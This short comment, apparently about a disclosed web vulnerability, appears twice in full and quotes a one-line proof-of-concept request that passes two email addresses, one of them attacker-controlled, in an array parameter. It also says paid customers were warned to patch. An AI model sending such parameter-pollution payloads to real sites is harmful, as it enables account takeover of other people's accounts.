The POC is quite trivial for it:
user[email][]=valid@email.com&user[email][]=attacker@email.com
It was severe enough that paid customers got a heads up to be ready to patch.
The POC is quite trivial for it:
user[email][]=valid@email.com&user[email][]=attacker@email.com
It was severe enough that paid customers got a heads up to be ready to patch.